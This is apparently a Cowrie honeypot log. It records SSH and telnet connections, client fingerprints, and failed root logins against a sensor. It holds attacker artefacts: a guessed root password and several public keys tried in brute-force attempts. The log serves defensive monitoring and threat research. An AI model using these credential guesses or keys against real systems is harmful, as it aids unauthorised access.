{"eventid":"cowrie.session.closed","duration":31.81756281852722,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:24.231887Z","src_ip":"50.6.8.71","session":"49b2fe8b913b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.231316804885864,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:25.276685Z","src_ip":"50.6.8.71","session":"ee9715c484dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.16798734664917,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:32.644210Z","src_ip":"50.6.8.71","session":"d79d0376883c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":41606,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bec01666c9d","protocol":"ssh","message":"New connection: 103.75.182.198:41606 (159.203.135.109:22) [session: 1bec01666c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:35.040890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:35.046216Z","src_ip":"103.75.182.198","session":"1bec01666c9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:35.303880Z","src_ip":"103.75.182.198","session":"1bec01666c9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:36.070101Z","src_ip":"103.75.182.198","session":"1bec01666c9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:37.328528Z","src_ip":"103.75.182.198","session":"1bec01666c9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.846579790115356,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:39.079066Z","src_ip":"50.6.8.71","session":"b66a9244be79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.29271125793457,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:40.089109Z","src_ip":"50.6.8.71","session":"e557fee7bf48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":36194,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b8fbe50d01b","protocol":"ssh","message":"New connection: 103.77.242.62:36194 (159.203.135.109:22) [session: 8b8fbe50d01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:41.053730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:41.061378Z","src_ip":"103.77.242.62","session":"8b8fbe50d01b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.80437183380127,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:41.157300Z","src_ip":"50.6.8.71","session":"65fb2acc34de","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:41.297240Z","src_ip":"103.77.242.62","session":"8b8fbe50d01b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:42.004096Z","src_ip":"103.77.242.62","session":"8b8fbe50d01b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:43.243189Z","src_ip":"103.77.242.62","session":"8b8fbe50d01b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41034,"dst_ip":"10.17.0.5","dst_port":23,"session":"2774178796c2","protocol":"telnet","message":"New connection: 50.6.8.71:41034 (10.17.0.5:23) [session: 2774178796c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:45.983225Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41042,"dst_ip":"10.17.0.5","dst_port":23,"session":"06961ae2544c","protocol":"telnet","message":"New connection: 50.6.8.71:41042 (10.17.0.5:23) [session: 06961ae2544c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:46.051959Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56998,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e9b82cf4295","protocol":"telnet","message":"New connection: 50.6.8.71:56998 (10.17.0.5:23) [session: 0e9b82cf4295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:48.096108Z"}
{"eventid":"cowrie.session.closed","duration":39.31481671333313,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:51.378129Z","src_ip":"50.6.8.71","session":"425558676df9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.2949116230011,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:54.868322Z","src_ip":"50.6.8.71","session":"6e29ea1ccb41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.609551668167114,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:52:55.827317Z","src_ip":"50.6.8.71","session":"570f61a20b59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45290,"dst_ip":"10.17.0.5","dst_port":23,"session":"7962d2ce6fab","protocol":"telnet","message":"New connection: 50.6.8.71:45290 (10.17.0.5:23) [session: 7962d2ce6fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:03.314553Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53692,"dst_ip":"10.17.0.5","dst_port":23,"session":"c55db5f018db","protocol":"telnet","message":"New connection: 50.6.8.71:53692 (10.17.0.5:23) [session: c55db5f018db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:09.633635Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53708,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0db9a839ded","protocol":"telnet","message":"New connection: 50.6.8.71:53708 (10.17.0.5:23) [session: d0db9a839ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:15.029084Z"}
{"eventid":"cowrie.session.closed","duration":30.197238445281982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:16.180341Z","src_ip":"50.6.8.71","session":"2774178796c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38378,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcae315611cd","protocol":"telnet","message":"New connection: 50.6.8.71:38378 (10.17.0.5:23) [session: fcae315611cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:17.873714Z"}
{"eventid":"cowrie.session.closed","duration":32.89771008491516,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:18.949547Z","src_ip":"50.6.8.71","session":"06961ae2544c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38386,"dst_ip":"10.17.0.5","dst_port":23,"session":"66df3cced189","protocol":"telnet","message":"New connection: 50.6.8.71:38386 (10.17.0.5:23) [session: 66df3cced189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:20.362364Z"}
{"eventid":"cowrie.session.closed","duration":32.532642126083374,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:20.628620Z","src_ip":"50.6.8.71","session":"0e9b82cf4295","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49296,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8f2341bf474","protocol":"telnet","message":"New connection: 50.6.8.71:49296 (10.17.0.5:23) [session: c8f2341bf474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:32.456815Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49300,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e163068bafd","protocol":"telnet","message":"New connection: 50.6.8.71:49300 (10.17.0.5:23) [session: 5e163068bafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:38.284518Z"}
{"eventid":"cowrie.session.closed","duration":35.05707097053528,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:38.371506Z","src_ip":"50.6.8.71","session":"7962d2ce6fab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52054,"dst_ip":"10.17.0.5","dst_port":23,"session":"03a0efd2bcf7","protocol":"telnet","message":"New connection: 50.6.8.71:52054 (10.17.0.5:23) [session: 03a0efd2bcf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:40.451091Z"}
{"eventid":"cowrie.session.closed","duration":34.10480809211731,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:43.738334Z","src_ip":"50.6.8.71","session":"c55db5f018db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52070,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbca85e0a5a5","protocol":"telnet","message":"New connection: 50.6.8.71:52070 (10.17.0.5:23) [session: cbca85e0a5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:47.106231Z"}
{"eventid":"cowrie.session.closed","duration":32.73332858085632,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:47.762309Z","src_ip":"50.6.8.71","session":"d0db9a839ded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.395976543426514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:51.758222Z","src_ip":"50.6.8.71","session":"66df3cced189","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.237.113","src_port":38698,"dst_ip":"10.17.0.5","dst_port":22,"session":"d586103725dd","protocol":"ssh","message":"New connection: 45.77.237.113:38698 (10.17.0.5:22) [session: d586103725dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:53.890147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:53.895297Z","src_ip":"45.77.237.113","session":"d586103725dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:54.101957Z","src_ip":"45.77.237.113","session":"d586103725dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:23:2d:cd:ba:ca:99:85:55:c7:b8:08:30:5a:9b:b5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHmfCjbm5xvOUyV+xJt2U/Y182+UXeH+eJPKJdVlShMs","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e9:23:2d:cd:ba:ca:99:85:55:c7:b8:08:30:5a:9b:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:55.115193Z","src_ip":"45.77.237.113","session":"d586103725dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:23:2d:cd:ba:ca:99:85:55:c7:b8:08:30:5a:9b:b5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHmfCjbm5xvOUyV+xJt2U/Y182+UXeH+eJPKJdVlShMs","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:55.119428Z","src_ip":"45.77.237.113","session":"d586103725dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:f4:83:8e:43:ed:7e:96:01:d3:21:3f:c1:3e:44:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrmg7gnTELSdubJt5lhJcCdnnt7PQfixCAUPO9ZPBl4Ycx9GH6HYWvirT6TMjDmYAECRsOO339g7n/Z6iLHIZL2MgrUmjnl7rbKCj5wVcobj34re6Huay0TympJo+VLK1SPxnsAsb6OIO3+q9oMShz/+z+3uiOnnu3hH4byIqDVFUjtxUV5BFrSbM+jdTg0BmJzmq3T1gA8zin0DMGXzNvigORVO75QqO1KAq74WNQ9tS2JdVAPsxPWrx65h8a5mLyPqVaBXw0qQqFcKthiqutiwf0cRAWSpFvEZlBPlvrboHxM8rxPiN2gLUAmALGuahBhsEMHeOe4WcDdfEY1dHx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:f4:83:8e:43:ed:7e:96:01:d3:21:3f:c1:3e:44:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:55.327221Z","src_ip":"45.77.237.113","session":"d586103725dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:f4:83:8e:43:ed:7e:96:01:d3:21:3f:c1:3e:44:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrmg7gnTELSdubJt5lhJcCdnnt7PQfixCAUPO9ZPBl4Ycx9GH6HYWvirT6TMjDmYAECRsOO339g7n/Z6iLHIZL2MgrUmjnl7rbKCj5wVcobj34re6Huay0TympJo+VLK1SPxnsAsb6OIO3+q9oMShz/+z+3uiOnnu3hH4byIqDVFUjtxUV5BFrSbM+jdTg0BmJzmq3T1gA8zin0DMGXzNvigORVO75QqO1KAq74WNQ9tS2JdVAPsxPWrx65h8a5mLyPqVaBXw0qQqFcKthiqutiwf0cRAWSpFvEZlBPlvrboHxM8rxPiN2gLUAmALGuahBhsEMHeOe4WcDdfEY1dHx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:55.331537Z","src_ip":"45.77.237.113","session":"d586103725dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:a4:33:ca:4d:e2:96:16:ca:ff:a1:f3:15:a0:c9:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsmVEJRnkDKRJALlVvIbq6hoWlYIFtQHmSzJrPoynfNXq2JavlQ7Ka5ljM/RidQZxkeXFe6xigIIb2JN3lW/F4d8zx7BFKJf9gwoUF/46Xjnf6hEU8uoanYFZAOzrmY2KAw5Rh84aPgvpFeUtuG6v0g3UDfknUDkTHvN0byyMa2JdHBz8lXWtWqm5kWf07Vrf3bsLD3CdI+3w+kumhsjE+y4YpMJvd7PViP+DqwvHnLMY4FHdM0kliY9eLeeJkKEk+YfcHSCZGji5wJOPjMl08XLTQC0DnopJPlbRM/KytMiDX6y31N4PzLvOtgj+wEiyfnMtOvGJOlPJgPYahKXRF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:a4:33:ca:4d:e2:96:16:ca:ff:a1:f3:15:a0:c9:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:55.539799Z","src_ip":"45.77.237.113","session":"d586103725dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:a4:33:ca:4d:e2:96:16:ca:ff:a1:f3:15:a0:c9:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsmVEJRnkDKRJALlVvIbq6hoWlYIFtQHmSzJrPoynfNXq2JavlQ7Ka5ljM/RidQZxkeXFe6xigIIb2JN3lW/F4d8zx7BFKJf9gwoUF/46Xjnf6hEU8uoanYFZAOzrmY2KAw5Rh84aPgvpFeUtuG6v0g3UDfknUDkTHvN0byyMa2JdHBz8lXWtWqm5kWf07Vrf3bsLD3CdI+3w+kumhsjE+y4YpMJvd7PViP+DqwvHnLMY4FHdM0kliY9eLeeJkKEk+YfcHSCZGji5wJOPjMl08XLTQC0DnopJPlbRM/KytMiDX6y31N4PzLvOtgj+wEiyfnMtOvGJOlPJgPYahKXRF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:55.544069Z","src_ip":"45.77.237.113","session":"d586103725dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:98:c2:7f:c3:e0:64:14:e4:f3:a7:d0:31:f1:39:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzk+6qkO3TNlyxXoTw5J67DC8Z+tOw4spNZ2L8/OGGFiKbWYef3HDjUfaaLyTIGCuQCBHAHuusctlfgk/ZectwZ8SCmnfw5u+tT//hIAByzluzCJs08TYw1Y9+6z70D5MZfHyLDzRTKaTMJgjI5YCeSqtDjQQsE5Joxctt99dabncDgWzVjNJLOtq/G+LsnJBFkXtPzIE0+dgwEd4sIFfl7hxW/8qYLIhZ0wK0tv9m9UeYYVk6PGdC1lLOXAU8EwJcvIZMtD2zEw6q9+uND2deFr92jicm5JxP9evQKMvq17Dxx/eA9tvhozi2Rogb12nP7yPMrLIdd5bS3sYqFn7WQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:98:c2:7f:c3:e0:64:14:e4:f3:a7:d0:31:f1:39:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:55.752491Z","src_ip":"45.77.237.113","session":"d586103725dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:98:c2:7f:c3:e0:64:14:e4:f3:a7:d0:31:f1:39:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzk+6qkO3TNlyxXoTw5J67DC8Z+tOw4spNZ2L8/OGGFiKbWYef3HDjUfaaLyTIGCuQCBHAHuusctlfgk/ZectwZ8SCmnfw5u+tT//hIAByzluzCJs08TYw1Y9+6z70D5MZfHyLDzRTKaTMJgjI5YCeSqtDjQQsE5Joxctt99dabncDgWzVjNJLOtq/G+LsnJBFkXtPzIE0+dgwEd4sIFfl7hxW/8qYLIhZ0wK0tv9m9UeYYVk6PGdC1lLOXAU8EwJcvIZMtD2zEw6q9+uND2deFr92jicm5JxP9evQKMvq17Dxx/eA9tvhozi2Rogb12nP7yPMrLIdd5bS3sYqFn7WQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:53:55.756431Z","src_ip":"45.77.237.113","session":"d586103725dd","protocol":"ssh"}
